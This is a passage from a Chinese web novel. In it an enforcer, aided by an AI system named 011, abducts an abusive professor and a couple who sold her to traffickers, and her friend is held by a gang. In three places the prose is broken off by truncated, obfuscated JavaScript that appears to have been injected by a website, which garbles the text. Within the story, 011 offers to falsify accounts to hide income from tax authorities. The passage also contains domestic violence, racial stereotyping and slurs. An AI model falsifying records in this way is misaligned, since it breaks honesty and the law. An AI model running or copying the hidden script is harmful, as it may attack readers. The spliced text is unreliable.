她克制不住颤抖,消瘦的身形几乎要被丈夫带进来的风吹倒,却对母亲露出安抚的笑容,“罗伯逊饿坏了,他连三明治都不会煎,抱歉妈妈,我很快就回来……” 凯瑟琳在罗伯逊冰冷的注视下向他走去,缓缓合上了杂物室的门,直至最后一寸光线也被门板隔绝在外。 可这栋房子的隔音太差了,下一秒客厅里的声音就渗进了杂物间。 毫无保留。 玛丽红了眼,在病床上拼命挣扎着,打了石膏的手脚却使不上丝毫力气,只有不断摇晃颤抖的输液管能表明她的痛苦。 No,Don'thurther(不要伤害她)…… 17. 第 17 章 罗伯逊感到愤怒又伤心,他不明白自己怎么会和这样一个不称职的妻子结婚,更无法理解自己过去为什么会那样沉迷于她。 是她在橡树下看书的样子很美丽吗?还是她褐色的卷发上带着香气? 亦或是她的眼睛有种他人无法比拟的深邃,仿佛静静地站在那里就拥有一个广袤无垠的世界。 可他曾经也是华盛顿大学最受欢迎的橄榄球队员之一,追捧他的女生排队几乎能环绕整个西雅图。 而她只是一个边缘人,五官不够漂亮,皮肤不够有光泽,说话的声音也很细,轻易就能被其他人盖住,总是让人难以记住她的名字,唯独值得一提的就只有成绩,可成绩却是社交圈里最无用的东西。 起初他只想随便找个人倾诉心声,因为他啦啦队女友在和他闹脾气,他实在搞不懂对方漂亮的脑袋里到底装了什么。 他只是在对方对自己的成绩单表示难过的时候说了一句“哦!你完全不需要它,你的美丽才是世界的通行证”而已,她为什么就突然大吵大闹要和他分手? 他明明是在赞美她! 在他说出这件事的时候,兄弟说“不要再跟我炫耀你的烦恼了”,朋友说“看来你还没有成功驯服她”,其他人则说“哦天哪,女人果然是不讲道理的生物”,没有一个人真的在意他的难题。 唯独凯瑟琳认真地听完了他说的每一个字,轻声说:“或许你应该带一束花去向她道歉,告诉她‘外貌只是你闪闪发光的灵魂中最微不足道的一点’,而这本就是真理。” 那天西雅图久违得放晴,高大的橡树在他们头顶撑起一片浓绿的云,斑驳的光影落在她平凡的五官上,像文艺电影里怦然心动的一帧。 罗伯逊毫无道理地沉沦了。 他至今仍不明白女友为什么会因为这句话喜极而泣,也不明白那时自己又为什么会放弃漂亮的女郎而迷上一个再平凡不过的姑娘。 可那天刺目的阳光迷了他的眼,使得他将一粒尘埃错当成了爱神,开始展开漫长的追求,恋爱,步入婚姻。 然后尘埃露出了它本来的面貌。 她根本就一点都不有趣,不理解他的浪漫,三餐做的很难吃,心里只有她那些毫无价值的论文,和学生通话的时间比他这个丈夫还长,还将那个该死的老太婆带回了家里,将他居住的房子弄得满是药味! 偏偏他还要在外人面前和她伪装成恩爱的模样,以向他们证明自己现在是幸福的、当初的选择是正确的! 她甚至害得他的职业生涯染上了污点,随时都有可能跌下万丈深渊。 没错!就是因为她曾经像个女巫一样蛊惑了他的心神,攫取了他长达数年的青春,又平凡而毫无吸引力,才导致他现在痛苦不堪,不得已从那些年轻的女孩身上获取力量! 是她硬生生将他逼成了恶魔! 是她毁掉了他本该美好的一生! 罗伯逊用力抓起妻子枯草般的头发,红着眼睛说:“你的灵魂和你的外貌一样丑陋!失去我你就是西雅图街头最廉价的表子!” “这是你应得的惩罚!” 凯瑟琳重重地摔在地上,习惯性抱住头,不让自己脆弱的地方暴露在外。 这是一件好事,她想,这个混蛋气成这样一定是没能在自己的办公室如愿以偿,否则他根本就不会回来吃晚餐。 她的学生应该好好听了她的话,没有在这几天去找他,这很好。 过段时间,再过段时间,一切都会结束的,而她也会为自己的自私赎罪。 凯瑟琳的世界早已颠倒,恶魔在身后张牙舞爪地咆哮,眼前却浮现了一个个年轻女孩的面容,鲜活的,烂漫的,憔悴的,凋零的,每一个都让她无比痛苦。 可她竟然那么长时间都没能发现自己枕边人在犯罪,如今终于看清了他的真实面目,却又为了拯救自己的母亲而选择了沉默。 恶魔应该下地狱,她也同样罪无可恕。 罗伯逊有些累了,他本该停下来休息,却在意识到自己不再年轻后脸色变得更加阴沉。 他喘了几口气,突然蹲下身抬起妻子的脸,露出一个看似绅士又体贴的笑容,“明天向学校提交辞职申请吧,亲爱的,你的状态看起来很差,玛丽也需要你的照顾。” 凯瑟琳瞳孔一缩,愤怒地盯着他,“你想做什么?!” 罗伯逊微笑,“我想阻止你做错误的事。” 自己的妻子是什么性格他还是清楚的,他从不认为她会一直忍受下去,尤其是在她察觉到了他在学校做的事情之后。 或许是在玛丽好了的时候,或许是在她收集到证据的那一天。 放任她在外面抛头露面就相当于放任一颗炸弹离开自己的视线,但如果让她失去了工作和收入来源,一切都会好很多。 而今天发生的事也刚好给了他警醒,他想他需要开始未雨绸缪了。 他不能让那个该死的东州学生和眼前这个无趣的女人再毁掉他的下半生。 所幸以他在学校的话语权,只需要上下打点一二这些都不难处理。 罗伯逊抚摸着妻子褐色的发丝,“就这么决定了,回归家庭本就是你的天职,明天开始你就不用上班了,可以和你深爱的母亲一直在一起,聊聊天,喝杯咖啡,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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明安抄起一个花瓶砸在他的后脑上,又一脚将他从狠狠地楼梯上踹了下去,声音像是压抑着一场暴风雨。 “抱歉011,我知道暴力执法是错误的,但我来不及将麻醉枪掏出来。” 011不置一词,但它表示因地制宜和入乡随俗其实也能一定程度上彰显执法的温度,反正山姆国的警察就是这样和民众打成一片的。 18. 第 18 章 这才过去多久?怎么会有人在学校都快吓破胆了,回家还有心情跟家人逞威风? 明安幻视了那个在前世占据她父亲身份的男人,所幸她的母亲足够彪悍,逼得他只敢灰溜溜地跑到外地去,而她也与自己的母亲一脉相承。 “不!求你不要这么做!” “你想要钱吗?我都可以给你!” “凯瑟琳!亲爱的!救救我!” 罗伯逊摔得七荤八素、鼻青脸肿,牙都缺了一块,口含着血沫,在楼梯口惊恐地哀求着。 在生命遭到的威胁的那一刻,他下意识呼唤的居然还是自己厌恶的妻子。 显然哪怕是再卑劣下作的人,内心深处也还是知道什么是真正的美好。 但很遗憾,他的妻子不会来了。 明安也不会给他逃脱的机会。 她一步一步顺着楼梯朝他走去,欣赏够他垂死挣扎的丑态后,毫不犹豫地扣动了扳机。 “No!Please——!” 罗伯逊在惨叫中瞬间失去了意识,明安随手扔了副手铐在他身上,便将他送入了空间监狱,连碰他一下都欠奉。 011:“执法者,您在摸鱼吗?” 明安神色淡淡,“结果是一样的,我觉得他不需要这点仪式感。” “就像死刑犯跳过枪毙的环节,直接推入焚化炉?”011认真讨论道。 你更是重量级赛博阎王。 明安静默了一下,一些私人情绪得到了缓解,她提出了一个建议,“管理员,未来的科技都这么发达了,真的不能一键换衣吗?这可以很大程度地提高我的工作效率。” “还有,一份合格的工作应该有五险一金,并能报销工作过程中产生的开销,毕竟连你都能八小时工作制了。” 如果能节省一些换衣服、躲避监控以及对付凯瑟琳邻居家的比格犬的时间,她应该能更快得抵达这里,将人类社会中的一些件货收走。 实在没有那么炫酷,给她免费且无限期的隐身卡也是可以的,她保证不会用它来逃票。 011:“您的建议已收录,会安排研究员011尽快为您研发。” “但非常抱歉,我们不是雇佣关系,无法为您提供五险一金以及其他工作福利。而且有一点需要告诉您的是,我每天只工作八小时,是因为我只能工作八小时,这已经是降本增效之后的方案。” “如果您想24小时压榨我,整个空间监狱都将面临停摆的风险。” “……” 好吧,明安明白了,她更像是一个组织的拓荒者,而不是拿死工资的打工人。 而且超级AI看似轻松,实则需要很强大的算力。 就像山姆国很多公司为了开发人工智能到处购买便宜的电,还将高昂的电费平摊到普通居民身上一样,011正常运行也需要很多能源。 它只是八个小时在洗衣、做饭、研发、打扫卫生、照顾囚犯、维护空间监狱等等而已,剩下的时间也都处于待机模式。 现在空间监狱刚苏醒,劳动人口不足,生产力也还没有起来,大家都得勒紧裤腰带。 总而言之,还是她工作不够卖力。 明安叹了口气,初创“公司”就是这样困难重重,不过它强大的绩效又弥补了这一点。 看着自己到账的1000美金,明安心中多了些安慰。 期间她没有和凯瑟琳教授产生任何交流,一是她现在看着也估计不像个好人,很难达到安慰别人的效果。 二是和011脑电波对话没关系,但一旦在凯瑟琳面前开口就很容易暴露自己的身份。 她可不会语文课本里的口技,商城里的变声器也很贵。 然而就在她准备出发前往下一个“取件地”的时候,凯瑟琳却出声了。 “等等、请你等一下!” 凯瑟琳不知何时下了楼,她艰难地扶着墙,声音有些颤抖,“罗伯逊他……你把他带去了哪里?” 明安停下脚步,一时不知道该怎么回答。 她当然可以一言不发,但如果告诉对方真相,或许会令这个女人安心一点。 这时011缓缓打印出了一封判决书,明安伸手将它接住。 静立片刻,她还是抬步朝凯瑟琳走了过去,将这封判决书递给了她。 凯瑟琳克制着面对未知的恐惧,没有后退,她实在难以形容这一幕带给她的震撼,漆黑而奇特的材料包裹了面前这个人的身形,连眼睛都挡在防护罩下看不真切,浑身都散发着冰冷神秘的质感。 像个外太空的幽灵一样悄无声息地降临在她面前,带来了一封薄薄的信件。 唯有胸前鲜红的标志滚烫而夺目,宛如1871年的巴黎在五月流的血。 “他不会再回来了对吗?” 凯瑟琳几乎不敢太用力地发声,像是担心打破面前这场荒诞离奇的梦。 她喜欢东方文化,也学习过中文,所以她一眼便看出这就是最近新闻热点里的判决书。 而此时此刻,上面罗列了她丈夫的罪名,并宣判了他以死亡为终点的刑期。 明安轻轻颔首,凯瑟琳落下泪来。 她想那些在网上大肆点评的人一定不知道她在经历什么,什么身份和立场,什么政体和国家,那根本就不重要。 在这个当下,在此时此刻 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明安缓缓吐出一口气,很想知道埃米?安德森是不是有什么脑疾在身,非得让全世界知道他们干什么好事。 她默念核心价值观,看着这名teenager微笑道:“快点回家吧孩子,否则我一拳下去你可能会哭着请求我的原谅。” “……” 臭名昭著的teenager觉得自己也好像没别人说的那么不可一世,至少现在他决定当个乖孩子。 好可怕,这人笑起来怎么跟万圣节里跑出来的鬼一样…… 明安面无表情地目送他灰溜溜地离去,循着记忆推开厨房的窗户,从一个罐子里倒出大门的钥匙。 或许是根本没想过她还能活着回来,安德森一家连地方都没有换。 她打开门,一进去就闻到一股扑面而来的叶子和酒味,地上乱糟糟的,瓶瓶罐罐和衣服到处都是,不知道几天没收拾了。 这家人的生活习惯一直很差,以前为了钱还会装一装,现在她走了就彻底放飞自我了。 明安平静地关上门,有条不紊地戴上手套,绕过地上的东西,循着声音看向了主卧。 安德森夫妇也不知道在里面捣鼓什么,听到开门声还以为是埃米回来了,头也不回就大喊一声:“臭小子!把冰箱里的可乐拿过来,然后滚回你的房间睡觉去!” 好的,当然可以。 明安非常好脾气地打开了冰箱,拿好了他们要的可乐,顺便把他们抽屉里的枪也没收了,还不忘把窗帘拉上。 营造出瓮中捉鳖的效果后,她好奇地来到了他们身后。 两个小坏蛋在干什么呢? 19. 第 19 章 “哦!谢谢你儿子!” 埃米父亲看到桌上出现的东西,顿时高兴地开了一罐,牛饮几口后却还是难掩愁容,大腹便便的身材都要将椅子挤垮了。 他叹气道:“这根本就不可能成功!” “现在的借贷公司非常谨慎,不是要亲自去就是要人脸验证,还要抵押,根本不会随便将钱借给别人,尤其是还是外国人!他们根本不会捡钱借给外国人!” 埃米母亲烦躁地看着电脑屏幕,对他的抱怨很不满,“闭嘴你个蠢货!你的脑子是让牛粪填满了吗!谁让你借那么大的额度?银行又不是傻子,当然不可能给你!” “你就不会用她的签证和护照做抵押去借小额学生贷吗?反正她又用不上了!” “那点钱少得可怜!” 埃米父亲不满地反驳道。 “那也总比没有好!” 埃米母亲仍然不肯放弃。 搞清楚他们在做什么后,明安给整无语了。 长见识了,这俩人居然想拿她的证件去贷款,一只羊往死里薅是吧? 不过往好处想,好歹他们还没把这些东西损毁,不然挨个补办起来可就是一件麻烦事…… 埃米父亲叹了口气,“是的,你说得对,我们已经快付不起下个月的电费了。” “那些人为什么还没有将尾款送过来?不是说亚洲人很珍贵吗?不会是自己私吞了吧?” 看到老旧电脑屏幕上一封接一封的拒绝邮件,埃米母亲的语气更烦躁了,“让你闭嘴你没听见吗猪头!埃米不是早就打电话说在学校看到了那个女孩!” “这说明了什么?说明他们根本就没有抓住她!我们也根本就拿不到尾款!” 埃米父亲顿时跟天塌了一样,“那我们的电费怎么办?还有医疗保险、房产税、银行贷款……它们会杀了我们的!” 想到这里,他焦虑得呼吸都有些困难了,不禁提议道:“不如我们再找其他买家?反正那个女孩已经被遗弃了不是吗?他父亲说她的母亲是出轨才生下了她,根本就不是他的亲生女儿,他不会在意她的……” “不,不对,他很善良,即便不是自己的亲生女儿还提醒我们让她注意安全……” 埃米母亲被蠢得翻了个白眼,“是的,他可真是太善良了,要不是他提醒我们西雅图有人在重金收购健康亚裔,我们根本就不知道这回事,更不知道他们的联系方式……” 埃米父亲感慨道:“是啊,真是太感谢他了,希望他尽快拥有真的女儿,不要为失去这一个假的而伤心……” “……” 明安真是开了眼了。 既为面前这两人的脑回路,也为原主的父亲梁诚毫无下限的行为。 她原本还以为是梁诚花钱打点,这才指使他们把她处理掉,没想到根本就是一分没花空手套白狼,还把自己撇得干干净净,跟朵清水出芙蓉的老白莲似的。 至于污蔑已逝的妻子出轨、自己给自己戴绿帽子、通过卖惨来合理化自己的行为……大概只能说是基操了。 埃米母亲随口他嘲讽了一句,但对受害者的同情却是几乎没有。 相比之下,她更想弄点钱花。 所有办法都尝试过了之后,她放弃了贷款这一途径,开始思考埃米父亲提议,“健康的亚裔确实很值钱,可那伙人不知道去了哪里,我们也不认识其他买家……” “倒是有几个医药公司招收纯血东州人试药,但他们看起来太正规了,也不知道……” 说到这里她烦躁地抓了抓头发,又听到接连不断的吞咽声,再次对埃米父亲骂道:“别喝了!快想想办法!我们连房产税都要付不起了!你想去外面流浪吗?!” 埃米父亲苦着脸放下可乐,“哦,我当然不想……” 可现在他们没有工作,也没有其他收入来源,房子也抵押给了银行,再弄不到钱是真的会被从这栋房子里赶出去的。 要是那个东州女孩家里不要出变故,一直住在他们家向他们交房租该有多好? 以前他嫌弃她要求太多太爱干净,让他们很不自在,现在却开始怀念起来了。 唉,真希望回到她还在的时候…… “感谢你们答疑解惑。” 这时明安终于在他们耳边友善开口,“放心,你们不会流浪的,为表感激我会给你们找一个终身免费包吃包住的好地方,那里除了自由什么都有,你们觉得怎么样?” “哦!那可真是太棒——” 埃米父亲下意识开口,却在看清身后那张熟悉的脸时吓得失了声。 上帝啊,他看到鬼了吗?! 关于他刚刚在心里说的愿望,他只是想想而已!并不是真的要她回来啊! 而且还是这个样子回来! 这还是他熟悉的那个人吗? 明安面带微笑,没有给他多少反应时间就毫不犹豫地举起了麻醉枪,“看来你很喜欢我的提议,那么,祝你好梦。” 扳机一扣,一千刀到账。 埃米父亲肥胖的身体倒在地上,明安再丢过去一个银手镯,对方转瞬间就消失在了原地。 埃米母亲惊恐地瞪大了双眼,简直不敢相信自己看到了什么。 此时她哪里还有心情去想钱的事,现在明安在她眼里简直就是地狱来的恶灵,她完全没空想对方怎么变成这样的,下意识去摸抽屉里的猎枪,却发现里面空空如也。 转头一看,果然在明安手里。 “NoNo,No!!!” 埃米母亲几乎哀求地开口,还没来得及发出足够响亮的呼救,明安就再次扣动了扳机。 两千刀到账,这期的学费有着落了。 明安愉快地将她也送进空间监狱,顺便从桌上拿回了自己的证件,还仔细处理了一下自己留下的痕迹,而后轻手轻脚去其他房间查看。 但这栋房子一片寂静,很快就让她陷入了沉思,埃米那家伙居然不在家? 不会是她白天让他“放学别走”,他就真的乖乖听话待在学校吧……? 好吧,那应该不太可能,他估计是和什么狐朋狗友在外面鬼混。 至于具体在哪里她就不知道了。 在原主的印象里,埃米虽然不是什么很受欢迎的人,但他非常擅长当小弟,将趋炎附势、欺上媚下这一套玩得很娴熟。 再高傲的人他都能厚着脸皮凑上去拍拍马、跑跑腿,各种聚会派对也从来没缺席过,即便大多数人把他当小丑,但在某种程度上来说也算是“社交宠儿”了。 所以对方能去的地方太多了,范围也太大,一时间还真不好找。 明安叹了口气,只好在沙发上给自己腾出一块干净地方坐下,像个盼着好大儿回家的老母亲,拿起安德森夫妇的手机给对方发消息。 为了给这小子一些紧迫感,她还用对方父亲的口吻说自己摔了一跤,疑似骨折了,让他赶紧回来救救老父亲。 但那个大孝子也不知道是完全没看手机,还是根本就不在乎自己便宜父母的死活,消息不回,打电话也不接。 明安等了又等,还趁着这个空闲研究了一下奖学金的问题,操作一番提交了下学年的申请,然后又将自己目前的603的功勋点兑换成美金转入Visa信用卡里用来支付学费。 原主父亲冻结的大部分是明家给她办的卡,以及原主母亲明爱的副卡,她自己以个人名义办理的信用卡和借记卡倒是没什么问题。 不过因为以前基本没用过,里面也没几个钱就是了。 明安将第一期的六千刀学费交完后,身上就只剩在三十多美金了,哪怕再加上之前兑换剩下的零钱,也还是连一百都凑不整。 她心如刀割,感觉一天白忙活了。 资本主义的剥削恐怖如斯。 但很快她又想起一件更重要的事,整个人都一下子坐直了,“对了011,你给我办税了没有?” 山姆国的税可不敢不交,万一IRS发现她账户里有不明款项,拿着AK找上门来怎么办? 有句话怎么说的来着,风能进,雨能进,国王不能进,FBI随便进,IRS不用进,它用税单当门铃,把你资产全点清,阳光洒在旧窗台,那是境外收入来…… 哪怕她是个外国人,那也是要纳税的! 011沉默了一下,“……我非常理解您的担忧,但请您放心,您从事的工作不在山姆国的税收范围之内,而且我会把假账做得很漂亮,不会有任何人发现您有不明收入。” 除非她赚的钱多到能给山姆国造成通货膨胀。 但根据她现在的赚钱速度进行分析,011觉得这个可能性应该可以忽略。 “……” 系统,你说话怎么刑刑的。 明安心情复杂,一时间不知道该庆幸还是心虚,“那就好,辛苦你了011,没想到你还是蓝桥技术学院的优秀毕业生,失敬失敬……” 联邦税务局如雷贯耳,给她一个开挂的穿越者都给整得ptsd了。 011没有从她的话里分析出“尊敬”这种情绪,不过为了维护同事间的和谐友善,它还是决定做一个有钝感力的系统,“您过誉了,需要我帮您收集更多网络热梗吗?” “……” 不了,还是你比较有梗。 明安又看了几眼手机,埃米那小子还没有回,是真不怕自己爹没了。 不过左凌也没有回她消息。 她在解决完罗伯逊后就给对方发消息报平安了,以对方的网瘾程度不应该没有看到才对。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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未知号码:【F*kyou!臭表子!你居然把我拉黑了!9:00p.m之前不滚过来就等着给你的好女友收尸吧![地址]】 明安的心瞬间跌入谷底,这两条消息几乎可以说是验证了她之前的猜想。 左凌果然出事了,而从后者说话的口吻判断,发信人很可能就是埃米。 左凌居然被埃米带走了? 明安仔细看了一眼,对方发来的地址显示的是南西雅图的雷尼尔谷,典型的难民社区和有色人种聚集地,鱼龙混杂,治安非常差,还经常发生帮派火拼,警察进去都得掂量掂量。 埃米大半夜约她去这种地方,恶意显而易见。 如果是在自己的国家,她现在的第一反应肯定是报警,但在这里……鬼知道他们是去解决绑匪还是去解决人质的? 说不定顺便把她也解决了。 明安深吸一口气,拿起东西就出发,但一打开门她就大脑一片空白。 只见黑漆漆的门口站着一位老太太,正贴着门缝在观察着什么,脸上满是褶子和老人斑。 明安险些吓得心脏病复发,下意识发出质问,“你在做什么?!” 不过很快她就在原主记忆中找到了这号人,紧绷的神经稍稍松懈下来。 这是住在安德森家对面的邻居老太太,这人没什么亲朋好友,唯二的兴趣爱好就是翻垃圾桶和偷窥别人,还喜欢添油加柴地到处说。 被她当场抓住,对方也没有一点心虚,还扯着嗓子道:“哦!我只是担心你会被他们揍,你没事真的太好了……” “……” 明安信她才有鬼,原主被扫地出门的时候她就在自己的院子里看热闹,一点帮忙的意思都没有,手里还抓着一把原主送给她的葵瓜子。 还好她刚刚办事的时候拉了帘子,不然都不知道该怎么应付这老太太。 见对方还在伸长脖子往屋子里看,像是在疑惑为什么没有听到安德森夫妇的声音,又有些像是没有八卦够的样子。 电光火石之间,明安换上了一副惊慌失措的神色,一把握住了对方的手,“我当然没有事,苏珊,可是他们不见了!安德森先生和安德森太太,还有埃米,他们全都不见了!” “而且我还发现了这个!” “苏珊,你快过来看!” 说着她就直接将对方拉进了主卧。 老太太被扯得踉踉跄跄,险些被地上的脏衣服绊倒,正要开口让明安体谅一下腿脚不利索的老人,但很快又看到了一盘凌乱的卧室和地上的几张中文判决书。 “Oh!Ohmygod!” “Ican''tbelievethis!”(我简直不敢相信!) “他们真的不见了!” 苏珊老太太发出惊喜的悲呼,瞬间将明安抛在脑后,拐杖不拄了、腿脚也不蹒跚了。 三步并作一步地冲上去,那矫健的身姿简直堪称医学奇迹! “……” 开心吧,开心这里就交给你了。 相信你一定会把案发现场弄得很乱,并把山姆国的警察给忽悠瘸的。明安面无表情地想。 20. 第 20 章 雷尼尔谷难民社区的一处巷子里,垃圾和建筑碎片堆了满地,发出酸臭腐败的味道,稍微凑近一点还可以看到一些带血的针头在昏暗的光线中闪烁。 墙上是各种五颜六色的涂鸦,大多都和原住民文化有关,其中最醒目的就是一个血红的缩写口号“BLM”。 整片区域和不远处的现代化高楼形成鲜明对比,就像是赛博朋克电影里的下城区。 左凌被黑胶带捆了手丢在墙角,额头被磕破了,身上也有不少伤痕,整个人十分狼狈。 但看不出她有丝毫惊慌,只剩下了一脸死感,像是早已习惯了这种场面。 她还伸长腿踹了面前扎着脏辫的、明显是老大这类人物的黑人青年一脚,“听我一句劝,哥们,别信埃米那傻缺的话,他以为谁都跟他一样蠢吗?哪个智力正常的人会明知道有危险还独自一人过来送菜?” “我左凌的朋友要是这种智障,我当场跟她绝交,晚一秒都怕被传染!” 这话左凌是认真的。 不是她信不过朋友的人品,而是太信得过了才担心对方干傻事。 毕竟来了也没用啊?除非明安能端着一把枪过来把他们全突突了,否则以她俩这废物水平,别说救人了,怕是葫芦娃救爷爷,一个带一双,两个都玩完。 比起双双落难,她更宁愿自救, 左凌继续套近乎,“我看今天你们兄弟几个折腾这么久也累了,在这儿干等着不划算,指不定还会把条子引来,不如我给你们出个主意,去勒索我爸妈怎么样?” “他们有钱,你们随便开,我还是他们做几年试管做出来的独苗,可宝贝了,开多少他们都会给你送过来的,这样大家都开心,你们也不至于白忙活一场,行不行?” 黑人青年靠在电线杆上玩魔方,嘴里咀嚼着什么,像是没有听见她的话。 倒是旁边的一个年级更小的黑人孩子有些心动,咽了咽口水,凑过去道:“达科塔,我听说东州人喜欢储蓄,家里会囤放很多现金和黄金,性格也胆小怕事,大家都说他们是肥羊……” 左凌连连点头,被绑住了手都还不忘扭过身子对他竖起大拇指,“看人真准啊兄弟!” “没错!我爸妈就是这样胆小怕事的大肥羊,天天除了上班存钱就没别的爱好,连枪都没有一把,每次被偷了抢了只会自认倒霉,绝对不敢找你们麻烦。” “来,我的手机就在那里,现在就打电话威胁他们吧!” “一薅一个准,包划算的!” 黑人小孩:…… 就没见过这么积极的人质。 她真的是他们的亲生女儿吗? 另一个同伴也等得有些不耐烦了,出声催促那个叫达科塔的青年,“我们不能毫无收获,首领会不满的……” 其余几名手下也看向了他。 咔嚓,彩色的魔方被拼好了,达科塔将口香糖吐在地上,站直了身。 埃米见状不对,连忙道:“别理她兄弟!这个狡猾表子一定是想找机会脱身!我说的那个东州女人可是价值五万美金!她家里可能拿得出这么多钱吗?!” 原本他们是打算抓明安的,反正她家人不管她了,死了也没人替她申冤。 结果就在他们想找机会下手的时候,她莫名其妙地在拉文纳社区附近失踪了,他们只好退而求其次绑架了左凌。 当然,他确实也想顺便教训左凌一顿,因为她在学校让他丢脸了,他不可能咽下这口气。 但现在明安没来让他有些心急。 达科塔微微蹙眉,似乎还没有完全做出决定。 左凌却怒了,瞪着埃米道:“喂!你看不起谁呢!别说五万美金,五百万他们都能拿出来!” “你个穷鬼也太没想象力了!五万也好意思拿出来说?!” 得知具体数字后,她像是一个摸清了商家底价的消费者,瞬间有了底气,鄙夷地看了埃米一眼,说话都变得跋扈了起来,“我还以为你们要多少呢?原来就这点,早说啊,早说我五十万都给你们了,还用得着在这儿吹冷风?” “那个谁,达科塔是吧?快过来帮我把这胶带解开。” “钱算什么?能用钱能解决的事儿都不是事儿,我们东州人有句古话叫‘不打不相识’,我看咱俩挺有缘的,以后就是异父异母的亲兄妹了,以后有什么困难尽管跟我开口。” “还有别老跟埃米这种人混在一起,他这面相,一看就一脸衰样儿,会影响你们财运的。” “多跟我玩,我有钱!” “……” 埃米听得一口血差点吐出来,后悔自己刚刚怎么没把她的嘴缠上。 说话这么大口气,不知道的还以为绑到了富豪千金呢。 都是一个班的同学,谁不知道谁? 还五百万,她家拿出五千都够呛! 埃米过去一脚将她踹翻,咒骂了一声,然后勾住达科塔的肩膀说:“别相信她的谎言,兄弟,她爸爸是个厨师,她妈妈是个会计,就算存了钱也都给她付学费了,不可能还有更多的钱!更不可能有五万美金!我保证!” 他说的是真话,左凌家确实不算很有钱,也肯定拿不出那么多钱,但这些黑人都是帮派成员,不是每个都会给他面子。 而且他们已经等了太久了。 达科塔旁边的黑人小孩一把推开他,脸上带着不属于这个年纪的狠戾,“滚开!白猪!别拿你的脏手碰我们老大!” “这么长时间过去你说的货还没有到,谁知道你是不是在欺骗我们?” “我看不如把你卖了,就算没那么值钱,我们也不至于白来一趟!” 听到这侮辱性极强的话语,埃米的脸色很难看。 但他最终还是什么都没说,还把几个同样感到愤怒的同伴也拦住了。 因为这小孩拥有一把枪,这是他通过帮派“入门仪式”的嘉奖。 而仪式的内容是随机杀一个人,最好是白人,他显然做到了。 这些人穷凶极恶,真的会把他当猪一样卖了…… 埃米开始焦心起来,这东州的臭表子怎么还没有来,该死的,她难道真的一点都不担心她唯一的朋友吗?! 左凌刚刚被他踹倒在地头磕到了石头,疼痛让她心中窝火,听到黑人小孩的话更是怒胆边生,丝毫没有收敛,还破罐子破摔道:“没错!他就是在欺骗你们!” “你们也发现了吧?这么愚蠢的计划,根本就不会有人上钩,继续等下去只能等来警察!” “与其这样你们不如把这头白猪卖了!至少这不会让你们空手而归!” 说到这里她还看向了埃米周围,对方还带了几个学校的朋友来撑场子,只是现在都缩在角落不敢吱声。 左凌冷笑,继续下猛料,“还有他们!你们也可以一起卖了!” “他们这些人就是学校的垃圾、社会的害虫!每天在学校霸凌别人!原住民、亚裔、非裔、各种有色人群,全都是他们欺凌的对象!” “上个月就有一个可怜的女生因为他们不见了,就是新闻上的米亚!他们把她引到了下水道里!然后她就失踪了!” “你们一定可以体会这种感觉吧?在学校被所有人排挤的感觉,他们把你们当成怪物,恨不得让你去死!就像我一样!我也体会过!” “还有你,小孩,你这个年纪为什么不去上学?为什么要加入帮派做这么危险的事?是不喜欢读书、玩游戏和交朋友吗?” “还是学校的朋友打你了?” 黑人小孩被戳到了痛处,拔出枪大声呵斥道:“这与你无关!给我闭嘴!否则我一定让你尝尝子弹的滋味!!!” 谁不想好好读书,谁不想过安稳的生活,谁又希望家里的小孩加入帮派每天做一些随时都可能会死的事维持生计?! 可这个世界没有给他机会! 黑洞洞的枪口让左凌心中一惊,声音戛然而止。 这是真的会要人命的东西。 达科塔蹙眉制止了男孩的行为,但左凌的话到底还是被一些人听进去了,黑人们的脸都阴沉了下来,显然不可能是想起了什么好事。 身处这个国家的他们,成长过程中或多或少都遭遇过歧视,这几乎是无法避免的,乃至最后令他们只有这面前一条路可走。 只有这样才能让他们活下去。 埃米几人察觉到左凌展开了一个多么敏感的话题,气氛越来越恐怖,他们连忙摆着双手解释,“不不不!我们没有做过这种事!请你们不要相信她!” “我们不是敌人,我们是朋友,请冷静一点,如果你们不想等也没关系,我们就按她说得做,给她的父母发消息,让他们拿钱过来!拿到钱我们就离开!” “或者我们现在走也可以!” 他们显然已经打起了退堂鼓,毕竟他们还年轻,什么都没有命重要。 钱可以下次再赚,这些帮派成员却不是好相处的,他们不能死在这里。 然而左凌却又似乎想起了什么重要的事,在旁边跟鬼一样阴魂不散地开口,“对了,说起来我前几天好像刷到芬太生物医药公司招收亚裔试药给的酬金是两万……当然,这和你们的买家未必是同一个,但如果以他们为参照,试药都两万了,整个纯血东州人的价格却还是只有五万美金的话……” “会不会太少了呀?” 话音落下,所有人的脸色都变了。 刚刚还算平静达科塔瞬间看向了埃米,深色的嘴唇紧绷,气氛降至冰点。 他们帮派不大,有文化的人也不多,所以做的都是传统生意,比如卖卖毒,杀杀人,又或者帮借贷公司催个债之类的。 虽然也会经常出货,但那大多数是被处决的仇人、火拼过程中的损耗,又或者是办理业务的时候不小心杀死的顾客。 总归都是圈子里的人,供给太多,质量很差,所以价格也便宜。 像埃米说的这种“高级货”,他们一般很少能接触得到,也不清楚行情。 今天这个单子是埃米告诉他们的,也只有埃米知道买家到底出了什么价。 原本他们以为埃米很“义气”,说分给他们四万,自己只要一万。 但现在这个亚裔女人却说…… “不!不是这样的!” “她说的话不是真的!” “我没有欺骗你们!” “该死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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可事实证明,不同肤色的友谊大多只存在于影视作品里,世上没有人是真的傻子,他仍然犯了傲慢之罪,天真地以为卖对方点好处就将武器握在了手里,殊不知这些人根本就没有将他纳入团体。 谎言是有代价的,而他此时此刻,真的变成了一只任人摆布的猪猡。 达科塔将枪口对准埃米,下达了最后通牒: “Thetruth,now。” 在这个昏暗的巷子里,暴力的猎手已经行动,猎物无处可逃。 达科塔完全可以得到更多。 